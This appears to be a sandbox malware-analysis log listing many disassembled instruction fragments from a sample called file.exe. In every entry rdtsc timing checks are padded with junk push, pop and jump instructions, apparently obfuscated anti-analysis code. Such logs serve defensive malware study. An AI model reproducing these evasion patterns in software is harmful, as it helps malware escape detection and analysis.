Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AB80 second address: 119ABAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD5B0DE62EAh 0x00000008 jns 00007FD5B0DE62E6h 0x0000000e jno 00007FD5B0DE62E6h 0x00000014 jmp 00007FD5B0DE62EAh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d push ecx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119ABAC second address: 119ABB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D3EA second address: 119D402 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD5B0DE62ECh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D402 second address: 119D409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D409 second address: 119D413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD5B0DE62E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D65C second address: 119D6C5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FD5B08151E8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov edx, 16B26E46h 0x0000002a push 00000004h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007FD5B08151E8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 and edx, 06ED5AE0h 0x0000004c push 737F8423h 0x00000051 jbe 00007FD5B08151F0h 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F16B second address: 119F182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B0DE62F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0C0C second address: 11A0C13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9031C second address: 4E9036D instructions: 0x00000000 rdtsc 0x00000002 mov esi, 72AEECE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FD5B0DE62EEh 0x0000000e pop ebx 0x0000000f popad 0x00000010 pop ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FD5B0DE62EAh 0x00000018 or si, E8A8h 0x0000001d jmp 00007FD5B0DE62EBh 0x00000022 popfd 0x00000023 pushad 0x00000024 call 00007FD5B0DE62F6h 0x00000029 pop ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70F2C second address: 4E70F53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD5B08151F5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70F53 second address: 4E70F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 movzx eax, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD5B0DE62EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70F71 second address: 4E70F76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70F76 second address: 4E70F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70F86 second address: 4E70F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70F8A second address: 4E70F9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC002A second address: 4EC0055 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD5B08151F7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E500AA second address: 4E500EC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD5B0DE62F2h 0x00000008 or ecx, 79C07048h 0x0000000e jmp 00007FD5B0DE62EBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD5B0DE62F5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E500EC second address: 4E50107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50107 second address: 4E50147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push dword ptr [ebp+04h] 0x00000009 jmp 00007FD5B0DE62EBh 0x0000000e push dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FD5B0DE62EBh 0x0000001a jmp 00007FD5B0DE62F3h 0x0000001f popfd 0x00000020 mov ecx, 7ABC195Fh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C5A second address: 4E70C87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD5B08151EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C87 second address: 4E70C8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C8C second address: 4E70CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5B08151EDh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov ecx, edx 0x00000010 mov esi, ebx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007FD5B08151F5h 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FD5B08151EDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7087D second address: 4E7088C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7088C second address: 4E7090D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD5B08151EFh 0x00000008 pop eax 0x00000009 call 00007FD5B08151F9h 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 jmp 00007FD5B08151ECh 0x00000018 mov dword ptr [esp], ebp 0x0000001b jmp 00007FD5B08151F0h 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FD5B08151EEh 0x00000029 or ax, 99A8h 0x0000002e jmp 00007FD5B08151EBh 0x00000033 popfd 0x00000034 mov edx, esi 0x00000036 popad 0x00000037 pop ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push edi 0x0000003c pop ecx 0x0000003d mov dx, D6EEh 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E707F6 second address: 4E7083B instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007FD5B0DE62EBh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 push ecx 0x00000011 mov edx, 0D872426h 0x00000016 pop edi 0x00000017 mov al, E4h 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d mov cl, dh 0x0000001f pushad 0x00000020 mov cx, D3F3h 0x00000024 mov esi, 652ABC4Fh 0x00000029 popad 0x0000002a popad 0x0000002b pop ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FD5B0DE62F1h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E704C6 second address: 4E704E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E704E3 second address: 4E70547 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD5B0DE62F7h 0x00000009 xor ah, 0000007Eh 0x0000000c jmp 00007FD5B0DE62F9h 0x00000011 popfd 0x00000012 call 00007FD5B0DE62F0h 0x00000017 pop eax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007FD5B0DE62F0h 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70547 second address: 4E7054B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7054B second address: 4E70551 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70551 second address: 4E705C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FD5B08151F0h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 push ebx 0x00000012 mov ch, 1Ch 0x00000014 pop edi 0x00000015 pushfd 0x00000016 jmp 00007FD5B08151F4h 0x0000001b adc esi, 6B99B568h 0x00000021 jmp 00007FD5B08151EBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FD5B08151EBh 0x00000032 add al, FFFFFFAEh 0x00000035 jmp 00007FD5B08151F9h 0x0000003a popfd 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E705C8 second address: 4E705CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802F9 second address: 4E802FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E802FD second address: 4E80310 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80310 second address: 4E8036E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD5B08151EEh 0x0000000f push eax 0x00000010 jmp 00007FD5B08151EBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FD5B08151F6h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov dx, FA80h 0x00000024 mov edx, 357B3EACh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0EA9 second address: 4EB0EC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0EC9 second address: 4EB0EF7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD5B08151ECh 0x00000008 add esi, 36C6DCC8h 0x0000000e jmp 00007FD5B08151EBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d movsx ebx, cx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0EF7 second address: 4EB0F3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FD5B0DE62EFh 0x00000010 mov bx, cx 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FD5B0DE62F2h 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F3E second address: 4EB0F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F42 second address: 4EB0F5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9061A second address: 4E9068D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD5B08151F7h 0x00000009 adc ah, FFFFFFAEh 0x0000000c jmp 00007FD5B08151F9h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop edi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FD5B08151EAh 0x0000001d push eax 0x0000001e jmp 00007FD5B08151EBh 0x00000023 xchg eax, ebp 0x00000024 jmp 00007FD5B08151F6h 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9068D second address: 4E90691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90691 second address: 4E90697 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70697 second address: 4E7069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7069B second address: 4E7069F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7069F second address: 4E706F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FD5B0DE62EBh 0x0000000c adc ax, 80EEh 0x00000011 jmp 00007FD5B0DE62F9h 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a mov ebx, ecx 0x0000001c jmp 00007FD5B0DE62F8h 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov cx, F4F3h 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E706F9 second address: 4E706FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E706FF second address: 4E70703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70703 second address: 4E70707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70707 second address: 4E70782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a jmp 00007FD5B0DE62F3h 0x0000000f push eax 0x00000010 pushfd 0x00000011 jmp 00007FD5B0DE62EFh 0x00000016 and al, FFFFFFBEh 0x00000019 jmp 00007FD5B0DE62F9h 0x0000001e popfd 0x0000001f pop ecx 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 jmp 00007FD5B0DE62F7h 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD5B0DE62F0h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70782 second address: 4E70788 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9022A second address: 4E90283 instructions: 0x00000000 rdtsc 0x00000002 call 00007FD5B0DE62F8h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov bx, B1C6h 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007FD5B0DE62ECh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 jmp 00007FD5B0DE62EEh 0x0000001c mov ah, 6Eh 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 mov edi, 531AD8FEh 0x00000027 pushad 0x00000028 movsx ebx, ax 0x0000002b mov al, 44h 0x0000002d popad 0x0000002e popad 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90283 second address: 4E90287 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90287 second address: 4E9028D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9028D second address: 4E90293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E904EB second address: 4E904FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E904FA second address: 4E90500 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90500 second address: 4E90524 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov esi, 76FFE8E3h 0x0000000f movzx eax, dx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD5B0DE62EEh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90524 second address: 4E90536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5B08151EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90536 second address: 4E90548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, 737Ah 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90548 second address: 4E9056A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ebx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD5B08151F5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9056A second address: 4E90570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90570 second address: 4E90574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB05F1 second address: 4EB0600 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0600 second address: 4EB0622 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, 28h 0x0000000f jmp 00007FD5B08151F2h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0622 second address: 4EB06C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD5B0DE62EFh 0x00000011 sub si, B13Eh 0x00000016 jmp 00007FD5B0DE62F9h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FD5B0DE62F0h 0x00000022 add ecx, 11CDDE38h 0x00000028 jmp 00007FD5B0DE62EBh 0x0000002d popfd 0x0000002e popad 0x0000002f xchg eax, ebp 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FD5B0DE62F4h 0x00000037 and esi, 4854D898h 0x0000003d jmp 00007FD5B0DE62EBh 0x00000042 popfd 0x00000043 mov edx, ecx 0x00000045 popad 0x00000046 mov ebp, esp 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FD5B0DE62F1h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB06C7 second address: 4EB073D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B08151F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD5B08151ECh 0x00000011 jmp 00007FD5B08151F5h 0x00000016 popfd 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FD5B08151EEh 0x0000001e or cx, E7B8h 0x00000023 jmp 00007FD5B08151EBh 0x00000028 popfd 0x00000029 mov ax, B3EFh 0x0000002d popad 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov ecx, 4763843Dh 0x00000038 call 00007FD5B08151EAh 0x0000003d pop eax 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB073D second address: 4EB0743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0743 second address: 4EB0747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0850 second address: 4EB0856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0856 second address: 4EB085A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB085A second address: 4EB0898 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5B0DE62EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f mov esi, eax 0x00000011 lea eax, dword ptr [ebp-08h] 0x00000014 xor esi, dword ptr [00F02014h] 0x0000001a push eax 0x0000001b push eax 0x0000001c push eax 0x0000001d lea eax, dword ptr [ebp-10h] 0x00000020 push eax 0x00000021 call 00007FD5B4DD6B67h 0x00000026 push FFFFFFFEh 0x00000028 pushad 0x00000029 push ecx 0x0000002a mov cl, bh 0x0000002c pop eax 0x0000002d push ebx 0x0000002e mov edx, eax 0x00000030 pop esi 0x00000031 popad 0x00000032 pop eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD5B0DE62F8h 0x0000003a rdtsc
